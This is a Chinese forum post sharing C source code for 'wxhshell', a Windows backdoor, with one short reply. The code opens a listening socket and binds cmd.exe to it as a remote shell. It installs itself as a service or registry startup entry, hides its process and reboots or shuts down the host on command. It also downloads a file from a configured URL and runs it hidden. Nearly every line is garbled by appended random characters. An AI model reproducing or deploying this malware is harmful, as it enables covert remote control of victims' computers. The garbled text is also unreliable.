  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .N/GfR`0/<  
  } |MR%{ZC^i  
  else { Ze#Jhn@  
@+iC/  
    switch(cmd[0]) { stX'yya  
  K*HCFqr U"  
  // 帮助 y!SF/i?Py  
  case '?': { ax<g0=^R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u\M4`p!g=  
    break; =x=1uXQv5  
  } >~h>#{&  
  // 安装 O;UiYrXU  
  case 'i': { l8er$8S}  
    if(Install()) XIqv {w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /.7$`d  
    else ZEL/Ndk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TP~( r  
    break; m~##q}LZ  
    } -Uzc"Lx B  
  // 卸载 Ok*VQKyDLH  
  case 'r': { 4xv9a;fP  
    if(Uninstall()) 4,j4E@?pG9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }PtI0mZ1  
    else Km[]^;6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6lN?)<uQ  
    break; 4Sg<r,G  
    } A,3@j@bdy  
  // 显示 wxhshell 所在路径 ,D:iQDG^  
  case 'p': { Bh\ [ CY  
    char svExeFile[MAX_PATH]; kSLSxfR  
    strcpy(svExeFile,"\n\r"); nsZDZ/jx  
      strcat(svExeFile,ExeFile); lO551Y^  
        send(wsh,svExeFile,strlen(svExeFile),0); ?+bTPl;%'  
    break; :5r:I[FFy  
    } UN,<6D3\b  
  // 重启 -$AjD?;   
  case 'b': { "CIpo/ebL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "g x5XW&  
    if(Boot(REBOOT)) b%=1"&JI:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A28ZSL  
    else { w~bG<kxP  
    closesocket(wsh); !JT< (I2  
    ExitThread(0); `Mo~EHso.  
    }  ~Y1"k]J  
    break; B=Xnv*e  
    } p5lR-G  
  // 关机 2A dX)iF@  
  case 'd': { 3m-edpH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sL!;hKK  
    if(Boot(SHUTDOWN)) R=2 gtW"r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gh>"s#+  
    else { gg lNpzj  
    closesocket(wsh); ,2=UuW"K  
    ExitThread(0); 5"76R Gw=  
    } (Q}PeKM?jq  
    break; pKO T  Qf  
    } Da9*/  
  // 获取shell [VfL v.8w  
  case 's': { F!z! :yp  
    CmdShell(wsh); 8r7/IGFg  
    closesocket(wsh); d+gk q\  
    ExitThread(0); k#l'ko/X  
    break; oN1!>S9m  
  } 9Q SUCN_  
  // 退出 "2y7&#l   
  case 'x': { d&GKfF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X+(aQ >y  
    CloseIt(wsh); DI $ mD{  
    break; rwi2kk#@P  
    } {GGO')p  
  // 离开 $5q{vy  
  case 'q': { ,g<>`={kK+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); uAPLT~  
    closesocket(wsh); )w }*PL  
    WSACleanup(); Y\\3g_YBF  
    exit(1); ZI#SYEF6  
    break; rsIt~w  
        } D{&+7C:8.  
  } 7|{%CckN  
  } (HTk;vbZm  
8KtF<`A)  
  // 提示信息 .R<s<]  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y(Z(dV!Po  
} "6[Ax{cM  
  } `9G$p|6  
R'1vjDuv  
  return; H|(*$!~e  
} X*p:&=o  
IdC k  
// shell模块句柄 K4VPmkG  
int CmdShell(SOCKET sock) 45!`g+)  
{ '3Lx!pMhN  
STARTUPINFO si; eog,EP"a8Y  
ZeroMemory(&si,sizeof(si)); 7W>}7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'nmYB:&!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; b`;b}ug  
PROCESS_INFORMATION ProcessInfo; c_DB^M!h  
char cmdline[]="cmd"; i,U-H\p&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WLj_Zo*^x  
  return 0; JzS^9) &  
} JOE{&^j  
T_;G))q'  
// 自身启动模式 5]2!B b6>  
int StartFromService(void) ,2:L{8_L  
{ *FG4!~<e  
typedef struct ="[+6X  
{ tg m{gR  
  DWORD ExitStatus; 1<Ztk;$A  
  DWORD PebBaseAddress; Nr*ibtz|D  
  DWORD AffinityMask; (*^E7 [w  
  DWORD BasePriority; Zqe[2()  
  ULONG UniqueProcessId; =4%WOI  
  ULONG InheritedFromUniqueProcessId; oVj A$|  
}   PROCESS_BASIC_INFORMATION; S+\Mt+o  
{t IoC;Y  
PROCNTQSIP NtQueryInformationProcess; ?;r7j V/`j  
?_h#>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; tX2>a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,:Y=,[n  
k3htHCf*G$  
  HANDLE             hProcess; !z&seG]@  
  PROCESS_BASIC_INFORMATION pbi; R/KWl^oNj  
(UiH3Q9C]%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )~o`QM+  
  if(NULL == hInst ) return 0; 6`PGV+3j  
CEJG=*3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P)o[p(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I]S(tx!  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Dqo:X`<bT  
98%a)s)(a  
  if (!NtQueryInformationProcess) return 0; +Y%I0.?&5  
[>QsMUvak  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); I>(z)"1  
  if(!hProcess) return 0; @eD~FNf-]  
C@:N5},]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; V:$ 1o  
:~YyHX  
  CloseHandle(hProcess);  x+j/v5  
,Y/>*,J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &I">{J<  
if(hProcess==NULL) return 0; _:z;j{@4  
Z-r0 D  
HMODULE hMod; 0~I) /T  
char procName[255]; gQzF C&g  
unsigned long cbNeeded; ~#xs `@{s  
9<#R;eIsv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J'&? =|  
D2mAyU -  
  CloseHandle(hProcess); oFA$X Y  
_3?xIT  
if(strstr(procName,"services")) return 1; // 以服务启动 lu(Omds+  
cyn]>1ZM  
  return 0; // 注册表启动 PzG:M7  
} S6Xw+W02  
.6]cu{K(  
// 主模块 +hYmL Sq  
int StartWxhshell(LPSTR lpCmdLine) -cS4B//IK8  
{ (>% Vj  
  SOCKET wsl; Y+PxV*"a  
BOOL val=TRUE;   rs KE  
  int port=0; |6G5  ?|  
  struct sockaddr_in door; mTu9'/$(  
iw6M3g#  
  if(wscfg.ws_autoins) Install(); W;*vcbP  
#k]0[;1os  
port=atoi(lpCmdLine); {twf7.eY  
V'#u_`x"D)  
if(port<=0) port=wscfg.ws_port; 81 Not  
gM:oP.  
  WSADATA data; T{kwy3  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  Z~:lfCK`  
0md{e`'q:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   , 0ja_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !,WRXE&j  
  door.sin_family = AF_INET; 3m9 E2R,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zT zG&B-  
  door.sin_port = htons(port); ) x $Vy=  
.Zm }  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { xL#oP0d<e  
closesocket(wsl); B_1u<00kg  
return 1; 745PCC'FK  
} [aUT #  
P?-44m#  
  if(listen(wsl,2) == INVALID_SOCKET) { jYx(  
closesocket(wsl); alD|-{Bf  
return 1; )W#g@V)>  
} ImW~Jy  
  Wxhshell(wsl); _Xe< JJvq  
  WSACleanup(); clV/i&]Qa  
]zAg6*-/B  
return 0; WWz ns[$f  
*38\&"s4_  
} zL}DLfy>R  
`2+52q<FO  
// 以NT服务方式启动 f2XD^:Gc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .;Yei6H  
{ S'fq/`2g6  
DWORD   status = 0; G7xjW6^T  
  DWORD   specificError = 0xfffffff; "Vy\- ^  
#J9XcD{1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w N.Jyb  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2?&ptN) `N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @1X1E 2:  
  serviceStatus.dwWin32ExitCode     = 0; XAkl,Y  
  serviceStatus.dwServiceSpecificExitCode = 0; 9a,CiH%@  
  serviceStatus.dwCheckPoint       = 0; CKx}.<_  
  serviceStatus.dwWaitHint       = 0; C*zdHzMj  
)]Rr:i9n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I>|?B( F  
  if (hServiceStatusHandle==0) return; Ue%5 :Sdr  
]C^*C|  
status = GetLastError(); BGOI  
  if (status!=NO_ERROR) /zAx`H  
{ o^J&c_U\3'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; HRh".!lxy  
    serviceStatus.dwCheckPoint       = 0; 7?@v}%w  
    serviceStatus.dwWaitHint       = 0; *8+YR  
    serviceStatus.dwWin32ExitCode     = status; 'JVvL  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6UTdy1Qq>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T9yW# .  
    return; X[}%iEWzT  
  } s"Wdbw(O'  
Vh&KfYY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6=D;K.!  
  serviceStatus.dwCheckPoint       = 0; ~CscctD{;  
  serviceStatus.dwWaitHint       = 0; L"0L_G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); j/\XeG>  
} j=LF1dG"  
 (w fZ!  
// 处理NT服务事件,比如:启动、停止 ^} #!?" Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J.(_c ' r  
{ A>k;o0r  
switch(fdwControl) 7y3; F7V  
{ s.R(3}/  
case SERVICE_CONTROL_STOP: kzT'  
  serviceStatus.dwWin32ExitCode = 0; gsAO<Fy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H'.d'OE:I  
  serviceStatus.dwCheckPoint   = 0; 7+bzCDKU  
  serviceStatus.dwWaitHint     = 0; .nN7*))Fj  
  { t+tGN\q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z:{Z&HQC  
  } *W  l{2&  
  return; K.SHY!U}  
case SERVICE_CONTROL_PAUSE: n1|%xQBU@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; eAj}/2y"  
  break; B(5g&+{Lq~  
case SERVICE_CONTROL_CONTINUE: idq= US  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j(rFORT  
  break; 9UZX+@[F  
case SERVICE_CONTROL_INTERROGATE: w~`P\i@  
  break; %9K@`v-  
}; D {mu2'q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (~#9KA1A}  
} iDA`pemmi&  
,3K?=e2  
// 标准应用程序主函数 AMr9rBd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z,z^[Jz  
{ sYL+;(#t  
#{(rOb6H)  
// 获取操作系统版本 5BZ5Gl3  
OsIsNt=GetOsVer(); 1/ HofiIa  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R *U>T$  
VC@o]t5  
  // 从命令行安装 -;v:. [o.  
  if(strpbrk(lpCmdLine,"iI")) Install(); .*Z]0~ &|  
-(jcsqDk  
  // 下载执行文件 eNNK;xXe#  
if(wscfg.ws_downexe) { a?;{0I:Ln  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y<B| e91C  
  WinExec(wscfg.ws_filenam,SW_HIDE); IpWl;i`__  
} b% F|V G  
\%)p7PNY  
if(!OsIsNt) { +$%o#~  
// 如果时win9x,隐藏进程并且设置为注册表启动 p(v.sP4w  
HideProc(); NH{0KZ R  
StartWxhshell(lpCmdLine); uW]n3)7<I  
} ?h {&  
else /q=<OEC  
  if(StartFromService()) iZ{D_uxq  
  // 以服务方式启动 X/Ae-1!  
  StartServiceCtrlDispatcher(DispatchTable); #pIb:/2a_  
else 8?PNyO-Wt5  
  // 普通方式启动 az w8BK  
  StartWxhshell(lpCmdLine); xd* kNY  
5yry$w$G)  
return 0; $I_aHhKt  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八